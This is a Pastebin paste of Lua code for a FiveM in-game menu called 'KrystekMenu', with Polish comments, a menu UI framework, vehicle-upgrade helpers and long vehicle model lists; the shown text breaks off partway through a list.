Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local mhaonn = true
- ESX = nil
- Citizen.CreateThread(
- function()
- while ESX == nil do
- TriggerEvent(
- 'esx:getSharedObject',
- function(a)
- ESX = a
- end
- )
- Citizen.Wait(1000)
- end
- end
- )
- Citizen.CreateThread(function()
- -- BIERZE ZDJECIE PEDA
- local handle = RegisterPedheadshot(PlayerPedId())
- while not IsPedheadshotReady(handle) or not IsPedheadshotValid(handle) do
- Citizen.Wait(0)
- end
- local txd = GetPedheadshotTxdString(handle)
- -- DODAJE TEXT DO POWIADOMIENIA
- SetNotificationTextEntry("STRING")
- SetNotificationBackgroundColor(200) -- dostepne kolory | http://gyazo.com/68bd384455fceb0a85a8729e48216e15 |
- AddTextComponentSubstringPlayerName("hejka")
- -- USTAWIA TYTUL PODTYTUL I IKONKE
- local title = GetPlayerName(PlayerId())
- local subtitle = "Twoje ID | " ..GetPlayerServerId(PlayerId())
- local iconType = 8
- local flash = false
- SetNotificationMessage(txd, txd, flash, iconType, title, subtitle)
- -- POKAZUJE POWIADOMIENIE
- local showInBrief = true
- local blink = false
- DrawNotification(blink, showInBrief)
- -- USUWA POWIADMIENIE
- UnregisterPedheadshot(handle)
- end)
- local function e()
- local name = GetPlayerName(PlayerId())
- end
- local h = false
- rot = 1
- local j = false
- KrystekMenu = {}
- KrystekMenu.debug = false
- local function k(l)
- local m = {}
- local n = GetGameTimer() / 200
- m.r = math.floor(math.sin(n * l + 0) * 127 + 128)
- m.g = math.floor(math.sin(n * l + 2) * 127 + 128)
- m.b = math.floor(math.sin(n * l + 4) * 127 + 128)
- return m
- end
- local o = {}
- local p = {
- up = 172,
- down = 173,
- left = 174,
- right = 175,
- select = 176,
- back = 177
- }
- local q = 0
- local s = nil
- local t = nil
- local u = 0.23
- local v = 0.11
- local w = 0.03
- local A = 1.0
- local B = 0.041
- local C = 0
- local D = 0.370
- local E = 0.005
- local F = 0.005
- local G = 'Stworzony Przez Krystek :D <3'
- local function H(I)
- if KrystekMenu.debug then
- Citizen.Trace('[KrystekMenu] ' .. tostring(I))
- end
- end
- local function J(f, K, value)
- if f and o[f] then
- o[f][K] = value
- H(f .. ' menu property changed: { ' .. tostring(K) .. ', ' .. tostring(value) .. ' }')
- end
- end
- function engine(veh)
- SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 17, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 18, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 19, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 20, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 21, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 22, true)
- end
- local function L(f)
- if f and o[f] then
- return o[f].visible
- else
- return false
- end
- end
- local function M(f, N, O)
- if f and o[f] then
- J(f, 'visible', N)
- if not O and o[f] then
- J(f, 'currentOption', 1)
- end
- if N then
- if f ~= t and L(t) then
- M(t, false)
- end
- t = f
- end
- end
- end
- local function P(I, x, y, Q, R, S, T, U, V)
- SetTextColour(R.r, R.g, R.b, R.a)
- SetTextFont(Q)
- SetTextScale(S, S)
- if U then
- SetTextDropShadow(2, 2, 0, 0, 0)
- end
- if o[t] then
- if T then
- SetTextCentre(T)
- elseif V then
- SetTextWrap(o[t].x, o[t].x + u - E)
- SetTextRightJustify(true)
- end
- end
- SetTextEntry('STRING')
- AddTextComponentString(I)
- DrawText(x, y)
- end
- local function W(x, y, X, height, R)
- DrawRect(x, y, X, height, R.r, R.g, R.b, R.a)
- end
- local function Y()
- if o[t] then
- local x = o[t].x + u / 2
- local y = o[t].y + v / 2
- if o[t].titleBackgroundSprite then
- DrawSprite(
- o[t].titleBackgroundSprite.dict,
- o[t].titleBackgroundSprite.name,
- x,
- y,
- u,
- v,
- 0.,
- 255,
- 255,
- 255,
- 255
- )
- else
- W(x, y, u, v, o[t].titleBackgroundColor)
- end
- P(o[t].title, x, y - v / 2 + w, o[t].titleFont, o[t].titleColor, A, true)
- end
- end
- local function Z()
- if o[t] then
- local x = o[t].x + u / 2
- local y = o[t].y + v + B / 2
- local a0 = {
- r = o[t].titleBackgroundColor.r,
- g = o[t].titleBackgroundColor.g,
- b = o[t].titleBackgroundColor.b,
- a = 255
- }
- W(x, y, u, B, o[t].subTitleBackgroundColor)
- P(o[t].subTitle, o[t].x + E, y - B / 2 + F, C, a0, D, false)
- if q > o[t].maxOptionCount then
- P(
- tostring(o[t].currentOption) .. ' / ' .. tostring(q),
- o[t].x + u,
- y - B / 2 + F,
- C,
- a0,
- D,
- false,
- false,
- true
- )
- end
- end
- end
- local function a1(I, a2)
- local x = o[t].x + u / 2
- local a3 = nil
- if o[t].currentOption <= o[t].maxOptionCount and q <= o[t].maxOptionCount then
- a3 = q
- elseif q > o[t].currentOption - o[t].maxOptionCount and q <= o[t].currentOption then
- a3 = q - (o[t].currentOption - o[t].maxOptionCount)
- end
- if a3 then
- local y = o[t].y + v + B + B * a3 - B / 2
- local a4 = nil
- local a5 = nil
- local a6 = nil
- local U = false
- if o[t].currentOption == q then
- a4 = o[t].menuFocusBackgroundColor
- a5 = o[t].menuFocusTextColor
- a6 = o[t].menuFocusTextColor
- else
- a4 = o[t].menuBackgroundColor
- a5 = o[t].menuTextColor
- a6 = o[t].menuSubTextColor
- U = true
- end
- W(x, y, u, B, a4)
- P(I, o[t].x + E, y - B / 2 + F, C, a5, D, false, U)
- if a2 then
- P(a2, o[t].x + E, y - B / 2 + F, C, a6, D, false, U, true)
- end
- end
- end
- function KrystekMenu.CreateMenu(f, a7)
- o[f] = {}
- o[f].title = a7
- o[f].subTitle = G
- o[f].visible = false
- o[f].previousMenu = nil
- o[f].aboutToBeClosed = false
- o[f].x = 0.75
- o[f].y = 0.19
- o[f].currentOption = 1
- o[f].maxOptionCount = 10
- o[f].titleFont = 1
- o[f].titleColor = {
- r = 255,
- g = 255,
- b = 255,
- a = 255
- }
- Citizen.CreateThread(
- function()
- while true do
- Citizen.Wait(0)
- local a8 = k(1.0)
- o[f].titleBackgroundColor = {
- r = a8.r,
- g = a8.g,
- b = a8.b,
- a = 105
- }
- o[f].menuFocusBackgroundColor = {
- r = 255,
- g = 255,
- b = 255,
- a = 100
- }
- end
- end
- )
- o[f].titleBackgroundSprite = nil
- o[f].menuTextColor = {
- r = 255,
- g = 255,
- b = 255,
- a = 255
- }
- o[f].menuSubTextColor = {
- r = 189,
- g = 189,
- b = 189,
- a = 255
- }
- o[f].menuFocusTextColor = {
- r = 255,
- g = 255,
- b = 255,
- a = 255
- }
- o[f].menuBackgroundColor = {
- r = 0,
- g = 0,
- b = 0,
- a = 100
- }
- o[f].subTitleBackgroundColor = {
- r = o[f].menuBackgroundColor.r,
- g = o[f].menuBackgroundColor.g,
- b = o[f].menuBackgroundColor.b,
- a = 255
- }
- o[f].buttonPressedSound = {
- name = '~h~~r~> ~s~SELECT',
- set = 'HUD_FRONTEND_DEFAULT_SOUNDSET'
- }
- H(tostring(f) .. ' menu created')
- end
- function KrystekMenu.CreateSubMenu(f, a9, aa)
- if o[a9] then
- KrystekMenu.CreateMenu(f, o[a9].title)
- if aa then
- J(f, 'subTitle', aa)
- else
- J(f, 'subTitle', o[a9].subTitle)
- end
- J(f, 'previousMenu', a9)
- J(f, 'x', o[a9].x)
- J(f, 'y', o[a9].y)
- J(f, 'maxOptionCount', o[a9].maxOptionCount)
- J(f, 'titleFont', o[a9].titleFont)
- J(f, 'titleColor', o[a9].titleColor)
- J(f, 'titleBackgroundColor', o[a9].titleBackgroundColor)
- J(f, 'titleBackgroundSprite', o[a9].titleBackgroundSprite)
- J(f, 'menuTextColor', o[a9].menuTextColor)
- J(f, 'menuSubTextColor', o[a9].menuSubTextColor)
- J(f, 'menuFocusTextColor', o[a9].menuFocusTextColor)
- J(f, 'menuFocusBackgroundColor', o[a9].menuFocusBackgroundColor)
- J(f, 'menuBackgroundColor', o[a9].menuBackgroundColor)
- J(f, 'subTitleBackgroundColor', o[a9].subTitleBackgroundColor)
- else
- H('Failed to create ' .. tostring(f) .. ' submenu: ' .. tostring(a9) .. " parent menu doesn't exist")
- end
- end
- function KrystekMenu.CurrentMenu()
- return t
- end
- function KrystekMenu.OpenMenu(f)
- if f and o[f] then
- PlaySoundFrontend(-1, 'SELECT', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
- M(f, true)
- if o[f].titleBackgroundSprite then
- RequestStreamedTextureDict(o[f].titleBackgroundSprite.dict, false)
- while not HasStreamedTextureDictLoaded(o[f].titleBackgroundSprite.dict) do
- Citizen.Wait(0)
- end
- end
- H(tostring(f) .. ' menu opened')
- else
- H('Failed to open ' .. tostring(f) .. " menu: it doesn't exist")
- end
- end
- function KrystekMenu.IsMenuOpened(f)
- return L(f)
- end
- function KrystekMenu.IsAnyMenuOpened()
- for f, _ in pairs(o) do
- if L(f) then
- return true
- end
- end
- return false
- end
- function KrystekMenu.IsMenuAboutToBeClosed()
- if o[t] then
- return o[t].aboutToBeClosed
- else
- return false
- end
- end
- function KrystekMenu.CloseMenu()
- if o[t] then
- if o[t].aboutToBeClosed then
- o[t].aboutToBeClosed = false
- M(t, false)
- H(tostring(t) .. ' menu closed')
- PlaySoundFrontend(-1, 'QUIT', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
- q = 0
- t = nil
- s = nil
- else
- o[t].aboutToBeClosed = true
- H(tostring(t) .. ' menu about to be closed')
- end
- end
- end
- function KrystekMenu.Button(I, a2)
- local ab = I
- if a2 then
- ab = '{ ' .. tostring(ab) .. ', ' .. tostring(a2) .. ' }'
- end
- if o[t] then
- q = q + 1
- local ac = o[t].currentOption == q
- a1(I, a2)
- if ac then
- if s == p.select then
- PlaySoundFrontend(-1, o[t].buttonPressedSound.name, o[t].buttonPressedSound.set, true)
- H(ab .. ' button pressed')
- return true
- elseif s == p.left or s == p.right then
- PlaySoundFrontend(-1, 'NAV_UP_DOWN', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
- end
- end
- return false
- else
- H('Failed to create ' .. ab .. ' button: ' .. tostring(t) .. " menu doesn't exist")
- return false
- end
- end
- function KrystekMenu.MenuButton(I, f)
- if o[f] then
- if KrystekMenu.Button(I) then
- M(t, false)
- M(f, true, true)
- return true
- end
- else
- H('Failed to create ' .. tostring(I) .. ' menu button: ' .. tostring(f) .. " submenu doesn't exist")
- end
- return false
- end
- function KrystekMenu.CheckBox(I, bool, ad)
- local ae = '~r~~h~OFF'
- if bool then
- ae = '~g~~h~ON'
- end
- if KrystekMenu.Button(I, ae) then
- bool = not bool
- H(tostring(I) .. ' checkbox changed to ' .. tostring(bool))
- ad(bool)
- return true
- end
- return false
- end
- function KrystekMenu.ComboBox(I, af, ag, ah, ad)
- local ai = #af
- local aj = af[ag]
- local ac = o[t].currentOption == q + 1
- if ai > 1 and ac then
- aj = '← ' .. tostring(aj) .. ' →'
- end
- if KrystekMenu.Button(I, aj) then
- ah = ag
- ad(ag, ah)
- return true
- elseif ac then
- if s == p.left then
- if ag > 1 then
- ag = ag - 1
- else
- ag = ai
- end
- elseif s == p.right then
- if ag < ai then
- ag = ag + 1
- else
- ag = 1
- end
- end
- else
- ag = ah
- end
- ad(ag, ah)
- return false
- end
- local function bz(I, x, y)
- SetTextFont(7)
- SetTextProportional(3)
- SetTextScale(0.0, 0.2)
- SetTextDropshadow(1, 0, 0, 0, 255)
- SetTextEdge(1, 150, 150, 0, 255)
- SetTextDropShadow()
- SetTextOutline()
- SetTextEntry('STRING')
- AddTextComponentString(I)
- DrawText(x, y)
- end
- function KrystekMenu.Display()
- if L(t) then
- if o[t].aboutToBeClosed then
- KrystekMenu.CloseMenu()
- else
- ClearAllHelpMessages()
- Y()
- Z()
- s = nil
- if IsDisabledControlJustPressed(0, p.down) then
- PlaySoundFrontend(-1, 'NAV_UP_DOWN', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
- if o[t].currentOption < q then
- o[t].currentOption = o[t].currentOption + 1
- else
- o[t].currentOption = 1
- end
- elseif IsDisabledControlJustPressed(0, p.up) then
- PlaySoundFrontend(-1, 'NAV_UP_DOWN', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
- if o[t].currentOption > 1 then
- o[t].currentOption = o[t].currentOption - 1
- else
- o[t].currentOption = q
- end
- elseif IsDisabledControlJustPressed(0, p.left) then
- s = p.left
- elseif IsDisabledControlJustPressed(0, p.right) then
- s = p.right
- elseif IsDisabledControlJustPressed(0, p.select) then
- s = p.select
- elseif IsDisabledControlJustPressed(0, p.back) then
- if o[o[t].previousMenu] then
- PlaySoundFrontend(-1, 'BACK', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
- M(o[t].previousMenu, true)
- else
- KrystekMenu.CloseMenu()
- end
- end
- q = 0
- end
- end
- end
- function KrystekMenu.SetMenuWidth(f, X)
- J(f, 'width', X)
- end
- function KrystekMenu.SetMenuX(f, x)
- J(f, 'x', x)
- end
- function KrystekMenu.SetMenuY(f, y)
- J(f, 'y', y)
- end
- function KrystekMenu.SetMenuMaxOptionCountOnScreen(f, count)
- J(f, 'maxOptionCount', count)
- end
- function KrystekMenu.SetTitleColor(f, r, g, b, ak)
- J(
- f,
- 'titleColor',
- {
- ['r'] = r,
- ['g'] = g,
- ['b'] = b,
- ['a'] = ak or o[f].titleColor.a
- }
- )
- end
- function KrystekMenu.SetTitleBackgroundColor(f, r, g, b, ak)
- J(
- f,
- 'titleBackgroundColor',
- {
- ['r'] = r,
- ['g'] = g,
- ['b'] = b,
- ['a'] = ak or o[f].titleBackgroundColor.a
- }
- )
- end
- function KrystekMenu.SetTitleBackgroundSprite(f, al, am)
- J(
- f,
- 'titleBackgroundSprite',
- {
- dict = al,
- name = am
- }
- )
- end
- function KrystekMenu.SetSubTitle(f, I)
- J(f, 'subTitle', I)
- end
- function KrystekMenu.SetMenuBackgroundColor(f, r, g, b, ak)
- J(
- f,
- 'menuBackgroundColor',
- {
- ['r'] = r,
- ['g'] = g,
- ['b'] = b,
- ['a'] = ak or o[f].menuBackgroundColor.a
- }
- )
- end
- function KrystekMenu.SetMenuTextColor(f, r, g, b, ak)
- J(
- f,
- 'menuTextColor',
- {
- ['r'] = r,
- ['g'] = g,
- ['b'] = b,
- ['a'] = ak or o[f].menuTextColor.a
- }
- )
- end
- function KrystekMenu.SetMenuSubTextColor(f, r, g, b, ak)
- J(
- f,
- 'menuSubTextColor',
- {
- ['r'] = r,
- ['g'] = g,
- ['b'] = b,
- ['a'] = ak or o[f].menuSubTextColor.a
- }
- )
- end
- function KrystekMenu.SetMenuFocusColor(f, r, g, b, ak)
- J(
- f,
- 'menuFocusColor',
- {
- ['r'] = r,
- ['g'] = g,
- ['b'] = b,
- ['a'] = ak or o[f].menuFocusColor.a
- }
- )
- end
- function KrystekMenu.SetMenuButtonPressedSound(f, name, an)
- J(
- f,
- 'buttonPressedSound',
- {
- ['name'] = name,
- ['set'] = an
- }
- )
- end
- function KeyboardInput(ao, ap, aq)
- AddTextEntry('FMMC_KEY_TIP1', ao .. ':')
- DisplayOnscreenKeyboard(1, 'FMMC_KEY_TIP1', '', ap, '', '', '', aq)
- blockinput = true
- while UpdateOnscreenKeyboard() ~= 1 and UpdateOnscreenKeyboard() ~= 2 do
- Citizen.Wait(0)
- end
- if UpdateOnscreenKeyboard() ~= 2 then
- AddTextEntry('FMMC_KEY_TIP1', '')
- local m = GetOnscreenKeyboardResult()
- Citizen.Wait(500)
- blockinput = false
- return m
- else
- AddTextEntry('FMMC_KEY_TIP1', '')
- Citizen.Wait(500)
- blockinput = false
- return nil
- end
- end
- local function ar()
- local as = {}
- for i = 0, GetNumberOfPlayers() do
- if NetworkIsPlayerActive(i) then
- as[#as + 1] = i
- end
- end
- return as
- end
- function DrawText3D(x, y, z, I, r, g, b)
- SetDrawOrigin(x, y, z, 0)
- SetTextFont(0)
- SetTextProportional(0)
- SetTextScale(0.0, 0.20)
- SetTextColour(r, g, b, 255)
- SetTextDropshadow(0, 0, 0, 0, 255)
- SetTextEdge(2, 0, 0, 0, 150)
- SetTextDropShadow()
- SetTextOutline()
- SetTextEntry('STRING')
- SetTextCentre(1)
- AddTextComponentString(I)
- DrawText(0.0, 0.0)
- ClearDrawOrigin()
- end
- function math.round(at, au)
- return tonumber(string.format('%.' .. (au or 0) .. 'f', at))
- end
- local function k(l)
- local m = {}
- local n = GetGameTimer() / 1000
- m.r = math.floor(math.sin(n * l + 0) * 127 + 128)
- m.g = math.floor(math.sin(n * l + 2) * 127 + 128)
- m.b = math.floor(math.sin(n * l + 4) * 127 + 128)
- return m
- end
- local function av(I, aw)
- SetNotificationTextEntry('STRING')
- AddTextComponentString(I)
- DrawNotification(aw, false)
- if rgbnot then
- for i = 0, 24 do
- i = i + 1
- SetNotificationBackgroundColor(i)
- end
- else
- SetNotificationBackgroundColor(140)
- end
- end
- function checkValidVehicleExtras()
- local ax = PlayerPedId()
- local ay = GetVehiclePedIsIn(ax, false)
- local az = {}
- for i = 0, 50, 1 do
- if DoesExtraExist(ay, i) then
- local aA = '~h~Extra #' .. tostring(i)
- local I = 'OFF'
- if IsVehicleExtraTurnedOn(ay, i) then
- I = 'ON'
- end
- local aB = '~h~extra ' .. tostring(i)
- table.insert(
- az,
- {
- menuName = realModName,
- data = {
- ['action'] = realSpawnName,
- ['state'] = I
- }
- }
- )
- end
- end
- return az
- end
- function DoesVehicleHaveExtras(veh)
- for i = 1, 30 do
- if DoesExtraExist(veh, i) then
- return true
- end
- end
- return false
- end
- function checkValidVehicleMods(aC)
- local ax = PlayerPedId()
- local ay = GetVehiclePedIsIn(ax, false)
- local az = {}
- local aD = GetNumVehicleMods(ay, aC)
- if aC == 48 and aD == 0 then
- local aD = GetVehicleLiveryCount(ay)
- for i = 1, aD, 1 do
- local aE = i - 1
- local aF = GetLiveryName(ay, aE)
- local realModName = GetLabelText(aF)
- local aG, realSpawnName = aC, aE
- az[i] = {
- menuName = realModName,
- data = {
- ['modid'] = aG,
- ['realIndex'] = realSpawnName
- }
- }
- end
- end
- for i = 1, aD, 1 do
- local aE = i - 1
- local aF = GetModTextLabel(ay, aC, aE)
- local realModName = GetLabelText(aF)
- local aG, realSpawnName = aD, aE
- az[i] = {
- menuName = realModName,
- data = {
- ['modid'] = aG,
- ['realIndex'] = realSpawnName
- }
- }
- end
- if aD > 0 then
- local aE = -1
- local aG, realSpawnName = aC, aE
- table.insert(
- az,
- 1,
- {
- menuName = 'Stock',
- data = {
- ['modid'] = aG,
- ['realIndex'] = realSpawnName
- }
- }
- )
- end
- return az
- end
- local aH = {
- 'Dinghy',
- 'Dinghy2',
- 'Dinghy3',
- 'Dingh4',
- 'Jetmax',
- 'Marquis',
- 'Seashark',
- 'Seashark2',
- 'Seashark3',
- 'Speeder',
- 'Speeder2',
- 'Squalo',
- 'Submersible',
- 'Submersible2',
- 'Suntrap',
- 'Toro',
- 'Toro2',
- 'Tropic',
- 'Tropic2',
- 'Tug'
- }
- local aI = {
- 'Benson',
- 'Biff',
- 'Cerberus',
- 'Cerberus2',
- 'Cerberus3',
- 'Hauler',
- 'Hauler2',
- 'Mule',
- 'Mule2',
- 'Mule3',
- 'Mule4',
- 'Packer',
- 'Phantom',
- 'Phantom2',
- 'Phantom3',
- 'Pounder',
- 'Pounder2',
- 'Stockade',
- 'Stockade3',
- 'Terbyte'
- }
- local aJ = {
- 'Blista',
- 'Blista2',
- 'Blista3',
- 'Brioso',
- 'Dilettante',
- 'Dilettante2',
- 'Issi2',
- 'Issi3',
- 'issi4',
- 'Iss5',
- 'issi6',
- 'Panto',
- 'Prarire',
- 'Rhapsody'
- }
- local aK = {
- 'CogCabrio',
- 'Exemplar',
- 'F620',
- 'Felon',
- 'Felon2',
- 'Jackal',
- 'Oracle',
- 'Oracle2',
- 'Sentinel',
- 'Sentinel2',
- 'Windsor',
- 'Windsor2',
- 'Zion',
- 'Zion2'
- }
- local aL = {
- 'Bmx',
- 'Cruiser',
- 'Fixter',
- 'Scorcher',
- 'Tribike',
- 'Tribike2',
- 'tribike3'
- }
- local aM = {
- 'ambulance',
- 'FBI',
- 'FBI2',
- 'FireTruk',
- 'PBus',
- 'police',
- 'Police2',
- 'Police3',
- 'Police4',
- 'PoliceOld1',
- 'PoliceOld2',
- 'PoliceT',
- 'Policeb',
- 'Polmav',
- 'Pranger',
- 'Predator',
- 'Riot',
- 'Riot2',
- 'Sheriff',
- 'Sheriff2'
- }
- local aN = {
- 'Akula',
- 'Annihilator',
- 'Buzzard',
- 'Buzzard2',
- 'Cargobob',
- 'Cargobob2',
- 'Cargobob3',
- 'Cargobob4',
- 'Frogger',
- 'Frogger2',
- 'Havok',
- 'Hunter',
- 'Maverick',
- 'Savage',
- 'Seasparrow',
- 'Skylift',
- 'Supervolito',
- 'Supervolito2',
- 'Swift',
- 'Swift2',
- 'Valkyrie',
- 'Valkyrie2',
- 'Volatus'
- }
- local aO = {
- 'Bulldozer',
- 'Cutter',
- 'Dump',
- 'Flatbed',
- 'Guardian',
- 'Handler',
- 'Mixer',
- 'Mixer2',
- 'Rubble',
- 'Tiptruck',
- 'Tiptruck2'
- }
- local aP = {
- 'APC',
- 'Barracks',
- 'Barracks2',
- 'Barracks3',
- 'Barrage',
- 'Chernobog',
- 'Crusader',
- 'Halftrack',
- 'Khanjali',
- 'Rhino',
- 'Scarab',
- 'Scarab2',
- 'Scarab3',
- 'Thruster',
- 'Trailersmall2'
- }
- local aQ = {
- 'Akuma',
- 'Avarus',
- 'Bagger',
- 'Bati2',
- 'Bati',
- 'BF400',
- 'Blazer4',
- 'CarbonRS',
- 'Chimera',
- 'Cliffhanger',
- 'Daemon',
- 'Daemon2',
- 'Defiler',
- 'Deathbike',
- 'Deathbike2',
- 'Deathbike3',
- 'Diablous',
- 'Diablous2',
- 'Double',
- 'Enduro',
- 'esskey',
- 'Faggio2',
- 'Faggio3',
- 'Faggio',
- 'Fcr2',
- 'fcr',
- 'gargoyle',
- 'hakuchou2',
- 'hakuchou',
- 'hexer',
- 'innovation',
- 'Lectro',
- 'Manchez',
- 'Nemesis',
- 'Nightblade',
- 'Oppressor',
- 'Oppressor2',
- 'PCJ',
- 'Ratbike',
- 'Ruffian',
- 'Sanchez2',
- 'Sanchez',
- 'Sanctus',
- 'Shotaro',
- 'Sovereign',
- 'Thrust',
- 'Vader',
- 'Vindicator',
- 'Vortex',
- 'Wolfsbane',
- 'zombiea',
- 'zombieb'
- }
- local aR = {
- 'Blade',
- 'Buccaneer',
- 'Buccaneer2',
- 'Chino',
- 'Chino2',
- 'clique',
- 'Deviant',
- 'Dominator',
- 'Dominator2',
- 'Dominator3',
- 'Dominator4',
- 'Dominator5',
- 'Dominator6',
- 'Dukes',
- 'Dukes2',
- 'Ellie',
- 'Faction',
- 'faction2',
- 'faction3',
- 'Gauntlet',
- 'Gauntlet2',
- 'Hermes',
- 'Hotknife',
- 'Hustler',
- 'Impaler',
- 'Impaler2',
- 'Impaler3',
- 'Impaler4',
- 'Imperator',
- 'Imperator2',
- 'Imperator3',
- 'Lurcher',
- 'Moonbeam',
- 'Moonbeam2',
- 'Nightshade',
- 'Phoenix',
- 'Picador',
- 'RatLoader',
- 'RatLoader2',
- 'Ruiner',
- 'Ruiner2',
- 'Ruiner3',
- 'SabreGT',
- 'SabreGT2',
- 'Sadler2',
- 'Slamvan',
- 'Slamvan2',
- 'Slamvan3',
- 'Slamvan4',
- 'Slamvan5',
- 'Slamvan6',
- 'Stalion',
- 'Stalion2',
- 'Tampa',
- 'Tampa3',
- 'Tulip',
- 'Vamos,',
- 'Vigero',
- 'Virgo',
- 'Virgo2',
- 'Virgo3',
- 'Voodoo',
- 'Voodoo2',
- 'Yosemite'
- }
- local aS = {
- 'BFinjection',
- 'Bifta',
- 'Blazer',
- 'Blazer2',
- 'Blazer3',
- 'Blazer5',
- 'Bohdi',
- 'Brawler',
- 'Bruiser',
- 'Bruiser2',
- 'Bruiser3',
- 'Caracara',
- 'DLoader',
- 'Dune',
- 'Dune2',
- 'Dune3',
- 'Dune4',
- 'Dune5',
- 'Insurgent',
- 'Insurgent2',
- 'Insurgent3',
- 'Kalahari',
- 'Kamacho',
- 'LGuard',
- 'Marshall',
- 'Mesa',
- 'Mesa2',
- 'Mesa3',
- 'Monster',
- 'Monster4',
- 'Monster5',
- 'Nightshark',
- 'RancherXL',
- 'RancherXL2',
- 'Rebel',
- 'Rebel2',
- 'RCBandito',
- 'Riata',
- 'Sandking',
- 'Sandking2',
- 'Technical',
- 'Technical2',
- 'Technical3',
- 'TrophyTruck',
- 'TrophyTruck2',
- 'Freecrawler',
- 'Menacer'
- }
- local aT = {
- 'AlphaZ1',
- 'Avenger',
- 'Avenger2',
- 'Besra',
- 'Blimp',
- 'blimp2',
- 'Blimp3',
- 'Bombushka',
- 'Cargoplane',
- 'Cuban800',
- 'Dodo',
- 'Duster',
- 'Howard',
- 'Hydra',
- 'Jet',
- 'Lazer',
- 'Luxor',
- 'Luxor2',
- 'Mammatus',
- 'Microlight',
- 'Miljet',
- 'Mogul',
- 'Molotok',
- 'Nimbus',
- 'Nokota',
- 'Pyro',
- 'Rogue',
- 'Seabreeze',
- 'Shamal',
- 'Starling',
- 'Stunt',
- 'Titan',
- 'Tula',
- 'Velum',
- 'Velum2',
- 'Vestra',
- 'Volatol',
- 'Striekforce'
- }
- local aU = {
- 'BJXL',
- 'Baller',
- 'Baller2',
- 'Baller3',
- 'Baller4',
- 'Baller5',
- 'Baller6',
- 'Cavalcade',
- 'Cavalcade2',
- 'Dubsta',
- 'Dubsta2',
- 'Dubsta3',
- 'FQ2',
- 'Granger',
- 'Gresley',
- 'Habanero',
- 'Huntley',
- 'Landstalker',
- 'patriot',
- 'Patriot2',
- 'Radi',
- 'Rocoto',
- 'Seminole',
- 'Serrano',
- 'Toros',
- 'XLS',
- 'XLS2'
- }
- local aV = {
- 'Asea',
- 'Asea2',
- 'Asterope',
- 'Cog55',
- 'Cogg552',
- 'Cognoscenti',
- 'Cognoscenti2',
- 'emperor',
- 'emperor2',
- 'emperor3',
- 'Fugitive',
- 'Glendale',
- 'ingot',
- 'intruder',
- 'limo2',
- 'premier',
- 'primo',
- 'primo2',
- 'regina',
- 'romero',
- 'stafford',
- 'Stanier',
- 'stratum',
- 'stretch',
- 'surge',
- 'tailgater',
- 'warrener',
- 'Washington'
- }
- local aW = {
- 'Airbus',
- 'Brickade',
- 'Bus',
- 'Coach',
- 'Rallytruck',
- 'Rentalbus',
- 'taxi',
- 'Tourbus',
- 'Trash',
- 'Trash2',
- 'WastIndr',
- 'PBus2'
- }
- local aX = {
- 'Alpha',
- 'Banshee',
- 'Banshee2',
- 'BestiaGTS',
- 'Buffalo',
- 'Buffalo2',
- 'Buffalo3',
- 'Carbonizzare',
- 'Comet2',
- 'Comet3',
- 'Comet4',
- 'Comet5',
- 'Coquette',
- 'Deveste',
- 'Elegy',
- 'Elegy2',
- 'Feltzer2',
- 'Feltzer3',
- 'FlashGT',
- 'Furoregt',
- 'Fusilade',
- 'Futo',
- 'GB200',
- 'Hotring',
- 'Infernus2',
- 'Italigto',
- 'Jester',
- 'Jester2',
- 'Khamelion',
- 'Kurama',
- 'Kurama2',
- 'Lynx',
- 'MAssacro',
- 'MAssacro2',
- 'neon',
- 'Ninef',
- 'ninfe2',
- 'omnis',
- 'Pariah',
- 'Penumbra',
- 'Raiden',
- 'RapidGT',
- 'RapidGT2',
- 'Raptor',
- 'Revolter',
- 'Ruston',
- 'Schafter2',
- 'Schafter3',
- 'Schafter4',
- 'Schafter5',
- 'Schafter6',
- 'Schlagen',
- 'Schwarzer',
- 'Sentinel3',
- 'Seven70',
- 'Specter',
- 'Specter2',
- 'Streiter',
- 'Sultan',
- 'Surano',
- 'Tampa2',
- 'Tropos',
- 'Verlierer2',
- 'ZR380',
- 'ZR3802',
- 'ZR3803'
- }
- local aY = {
- 'Ardent',
- 'BType',
- 'BType2',
- 'BType3',
- 'Casco',
- 'Cheetah2',
- 'Cheburek',
- 'Coquette2',
- 'Coquette3',
- 'Deluxo',
- 'Fagaloa',
- 'Gt500',
- 'JB700',
- 'JEster3',
- 'MAmba',
- 'Manana',
- 'Michelli',
- 'Monroe',
- 'Peyote',
- 'Pigalle',
- 'RapidGT3',
- 'Retinue',
- 'Savastra',
- 'Stinger',
- 'Stingergt',
- 'Stromberg',
- 'Swinger',
- 'Torero',
- 'Tornado',
- 'Tornado2',
- 'Tornado3',
- 'Tornado4',
- 'Tornado5',
- 'Tornado6',
- 'Viseris',
- 'Z190',
- 'ZType'
- }
- local aZ = {
- 'Adder',
- 'Autarch',
- 'Bullet',
- 'Cheetah',
- 'Cyclone',
- 'EntityXF',
- 'Entity2',
- 'FMJ',
- 'GP1',
- 'Infernus',
- 'LE7B',
- 'Nero',
- 'Nero2',
- 'Osiris',
- 'Penetrator',
- 'PFister811',
- 'Prototipo',
- 'Reaper',
- 'SC1',
- 'Scramjet',
- 'Sheava',
- 'SultanRS',
- 'Superd',
- 'T20',
- 'Taipan',
- 'Tempesta',
- 'Tezeract',
- 'Turismo2',
- 'Turismor',
- 'Tyrant',
- 'Tyrus',
- 'Vacca',
- 'Vagner',
- 'Vigilante',
- 'Visione',
- 'Voltic',
- 'Voltic2',
- 'Zentorno',
- 'Italigtb',
- 'Italigtb2',
- 'XA21'
- }
- local a_ = {
- 'ArmyTanker',
- 'ArmyTrailer',
- 'ArmyTrailer2',
- 'BaleTrailer',
- 'BoatTrailer',
- 'CableCar',
